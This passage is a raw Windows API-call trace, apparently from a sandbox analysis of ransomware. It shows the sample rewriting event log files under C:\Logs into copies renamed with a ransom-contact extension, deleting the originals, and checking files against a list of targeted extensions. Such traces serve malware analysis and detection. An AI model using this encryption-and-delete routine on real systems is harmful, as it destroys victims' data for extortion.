"c:\\logs\\internet explorer.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0074.139] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.139] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.139] CreateFileW (lpFileName="C:\\Logs\\Internet Explorer.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\internet explorer.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0074.139] GetLastError () returned 0x0 [0074.139] ReadFile (in: hFile=0x378, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x11000, lpOverlapped=0x0) returned 1 [0074.141] WriteFile (in: hFile=0x37c, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x11010, lpOverlapped=0x0) returned 1 [0074.143] ReadFile (in: hFile=0x378, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1 [0074.143] WriteFile (in: hFile=0x37c, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x100, lpOverlapped=0x0) returned 1 [0074.144] SetEndOfFile (hFile=0x37c) returned 1 [0074.144] CloseHandle (hObject=0x37c) returned 1 [0074.150] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.150] SetEndOfFile (hFile=0x378) returned 1 [0074.151] CloseHandle (hObject=0x378) returned 1 [0074.151] SetFileAttributesW (lpFileName="C:\\Logs\\Internet Explorer.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0074.151] DeleteFileW (lpFileName="C:\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx")) returned 1 [0074.152] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0074.152] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0074.152] lstrlenW (lpString=".doc") returned 4 [0074.152] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0074.152] lstrlenW (lpString=".docx") returned 5 [0074.152] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0074.152] lstrlenW (lpString=".pdf") returned 4 [0074.152] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0074.152] lstrlenW (lpString=".xls") returned 4 [0074.152] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0074.152] lstrlenW (lpString=".xlsx") returned 5 [0074.152] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0074.152] lstrlenW (lpString=".ppt") returned 4 [0074.152] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0074.152] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0074.152] lstrlenW (lpString=".zip") returned 4 [0074.152] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0074.152] lstrlenW (lpString=".rar") returned 4 [0074.152] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0074.152] lstrlenW (lpString=".bz2") returned 4 [0074.152] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0074.152] lstrlenW (lpString=".7z") returned 3 [0074.152] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0074.152] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0074.152] lstrlenW (lpString=".dbf") returned 4 [0074.152] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0074.152] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0074.152] lstrlenW (lpString=".1cd") returned 4 [0074.152] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0074.152] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0074.152] lstrlenW (lpString=".jpg") returned 4 [0074.152] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0074.153] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0074.153] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0074.153] lstrlenW (lpString=".doc") returned 4 [0074.153] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0074.153] lstrlenW (lpString=".docx") returned 5 [0074.153] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0074.153] lstrlenW (lpString=".pdf") returned 4 [0074.153] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0074.153] lstrlenW (lpString=".xls") returned 4 [0074.153] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0074.153] lstrlenW (lpString=".xlsx") returned 5 [0074.153] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0074.153] lstrlenW (lpString=".ppt") returned 4 [0074.153] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0074.153] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0074.153] lstrlenW (lpString=".zip") returned 4 [0074.153] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0074.153] lstrlenW (lpString=".rar") returned 4 [0074.153] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0074.153] lstrlenW (lpString=".bz2") returned 4 [0074.153] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0074.153] lstrlenW (lpString=".7z") returned 3 [0074.153] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0074.153] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0074.153] lstrlenW (lpString=".dbf") returned 4 [0074.153] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0074.153] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0074.153] lstrlenW (lpString=".1cd") returned 4 [0074.153] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0074.153] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0074.153] lstrlenW (lpString=".jpg") returned 4 [0074.153] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0074.154] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0074.154] lstrlenW (lpString="Key Management Service.evtx") returned 27 [0074.154] CreateFileW (lpFileName="C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0074.154] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=69632) returned 1 [0074.154] CloseHandle (hObject=0x378) returned 1 [0074.154] GetFileAttributesW (lpFileName="C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx")) returned 0x20 [0074.154] GetFileAttributesW (lpFileName="C:\\Logs\\Key Management Service.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\key management service.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0074.154] CreateFileW (lpFileName="C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0074.154] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.154] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.154] CreateFileW (lpFileName="C:\\Logs\\Key Management Service.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\key management service.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0074.155] GetLastError () returned 0x0 [0074.155] ReadFile (in: hFile=0x378, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x11000, lpOverlapped=0x0) returned 1 [0074.157] WriteFile (in: hFile=0x37c, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x11010, lpOverlapped=0x0) returned 1 [0074.159] ReadFile (in: hFile=0x378, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1 [0074.159] WriteFile (in: hFile=0x37c, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x10a, lpOverlapped=0x0) returned 1 [0074.160] SetEndOfFile (hFile=0x37c) returned 1 [0074.160] CloseHandle (hObject=0x37c) returned 1 [0074.162] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.162] SetEndOfFile (hFile=0x378) returned 1 [0074.163] CloseHandle (hObject=0x378) returned 1 [0074.163] SetFileAttributesW (lpFileName="C:\\Logs\\Key Management Service.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0074.586] DeleteFileW (lpFileName="C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx")) returned 1 [0074.589] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0074.589] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0074.589] lstrlenW (lpString=".doc") returned 4 [0074.589] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0074.589] lstrlenW (lpString=".docx") returned 5 [0074.589] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0074.589] lstrlenW (lpString=".pdf") returned 4 [0074.589] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0074.589] lstrlenW (lpString=".xls") returned 4 [0074.589] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0074.589] lstrlenW (lpString=".xlsx") returned 5 [0074.589] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0074.589] lstrlenW (lpString=".ppt") returned 4 [0074.589] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0074.589] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0074.589] lstrlenW (lpString=".zip") returned 4 [0074.589] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0074.589] lstrlenW (lpString=".rar") returned 4 [0074.589] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0074.589] lstrlenW (lpString=".bz2") returned 4 [0074.589] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0074.589] lstrlenW (lpString=".7z") returned 3 [0074.589] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0074.589] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0074.589] lstrlenW (lpString=".dbf") returned 4 [0074.590] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0074.590] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0074.590] lstrlenW (lpString=".1cd") returned 4 [0074.590] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0074.590] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0074.590] lstrlenW (lpString=".jpg") returned 4 [0074.590] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0074.590] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0074.590] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0074.590] lstrlenW (lpString=".doc") returned 4 [0074.590] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0074.590] lstrlenW (lpString=".docx") returned 5 [0074.590] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0074.590] lstrlenW (lpString=".pdf") returned 4 [0074.590] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0074.590] lstrlenW (lpString=".xls") returned 4 [0074.590] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0074.590] lstrlenW (lpString=".xlsx") returned 5 [0074.590] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0074.590] lstrlenW (lpString=".ppt") returned 4 [0074.590] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0074.590] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0074.590] lstrlenW (lpString=".zip") returned 4 [0074.590] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0074.590] lstrlenW (lpString=".rar") returned 4 [0074.590] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0074.590] lstrlenW (lpString=".bz2") returned 4 [0074.590] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0074.590] lstrlenW (lpString=".7z") returned 3 [0074.590] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0074.590] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0074.590] lstrlenW (lpString=".dbf") returned 4 [0074.590] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0074.590] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0074.590] lstrlenW (lpString=".1cd") returned 4 [0074.591] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0074.591] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0074.591] lstrlenW (lpString=".jpg") returned 4 [0074.591] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0074.591] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0074.591] lstrlenW (lpString="Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 71 [0074.591] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0074.592] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=1052672) returned 1 [0074.592] CloseHandle (hObject=0x378) returned 1 [0074.592] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx")) returned 0x20 [0074.592] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0074.592] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0074.592] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.592] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.592] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0074.592] GetLastError () returned 0x0 [0074.592] ReadFile (in: hFile=0x378, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0074.615] WriteFile (in: hFile=0x388, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0074.951] ReadFile (in: hFile=0x378, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x1010, lpOverlapped=0x0) returned 1 [0074.962] WriteFile (in: hFile=0x388, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x1020, lpOverlapped=0x0) returned 1 [0074.967] ReadFile (in: hFile=0x378, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1 [0074.967] WriteFile (in: hFile=0x388, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x162, lpOverlapped=0x0) returned 1 [0074.967] SetEndOfFile (hFile=0x388) returned 1 [0075.718] CloseHandle (hObject=0x388) returned 1 [0075.860] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.860] SetEndOfFile (hFile=0x378) returned 1 [0075.861] CloseHandle (hObject=0x378) returned 1 [0075.861] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0075.861] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx")) returned 1 [0075.862] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0075.862] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0075.862] lstrlenW (lpString=".doc") returned 4 [0075.862] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0075.862] lstrlenW (lpString=".docx") returned 5 [0075.862] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0075.862] lstrlenW (lpString=".pdf") returned 4 [0075.862] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0075.862] lstrlenW (lpString=".xls") returned 4 [0075.862] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0075.862] lstrlenW (lpString=".xlsx") returned 5 [0075.862] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0075.862] lstrlenW (lpString=".ppt") returned 4 [0075.862] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0075.862] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0075.862] lstrlenW (lpString=".zip") returned 4 [0075.862] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0075.862] lstrlenW (lpString=".rar") returned 4 [0075.862] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0075.862] lstrlenW (lpString=".bz2") returned 4 [0075.862] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0075.862] lstrlenW (lpString=".7z") returned 3 [0075.862] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0075.862] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0075.862] lstrlenW (lpString=".dbf") returned 4 [0075.862] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0075.862] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0075.862] lstrlenW (lpString=".1cd") returned 4 [0075.862] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0075.862] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0075.862] lstrlenW (lpString=".jpg") returned 4 [0075.862] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0075.863] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0075.863] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0075.863] lstrlenW (lpString=".doc") returned 4 [0075.863] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0075.863] lstrlenW (lpString=".docx") returned 5 [0075.863] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0075.863] lstrlenW (lpString=".pdf") returned 4 [0075.863] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0075.863] lstrlenW (lpString=".xls") returned 4 [0075.863] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0075.863] lstrlenW (lpString=".xlsx") returned 5 [0075.863] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0075.863] lstrlenW (lpString=".ppt") returned 4 [0075.863] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0075.863] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0075.863] lstrlenW (lpString=".zip") returned 4 [0075.863] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0075.863] lstrlenW (lpString=".rar") returned 4 [0075.863] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0075.863] lstrlenW (lpString=".bz2") returned 4 [0075.863] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0075.863] lstrlenW (lpString=".7z") returned 3 [0075.863] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0075.863] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0075.863] lstrlenW (lpString=".dbf") returned 4 [0075.863] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0075.863] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0075.863] lstrlenW (lpString=".1cd") returned 4 [0075.863] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0075.863] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0075.863] lstrlenW (lpString=".jpg") returned 4 [0075.863] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0075.863] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0075.864] lstrlenW (lpString="Microsoft-Windows-AppReadiness%4Admin.evtx") returned 42 [0075.864] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0075.864] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=69632) returned 1 [0075.864] CloseHandle (hObject=0x378) returned 1 [0075.864] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx")) returned 0x20 [0075.864] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0075.865] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0075.865] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.865] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.865] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0075.865] GetLastError () returned 0x0 [0075.865] ReadFile (in: hFile=0x378, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x11000, lpOverlapped=0x0) returned 1 [0075.868] WriteFile (in: hFile=0x2c4, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x11010, lpOverlapped=0x0) returned 1 [0075.869] ReadFile (in: hFile=0x378, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1 [0075.870] WriteFile (in: hFile=0x2c4, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x128, lpOverlapped=0x0) returned 1 [0075.870] SetEndOfFile (hFile=0x2c4) returned 1 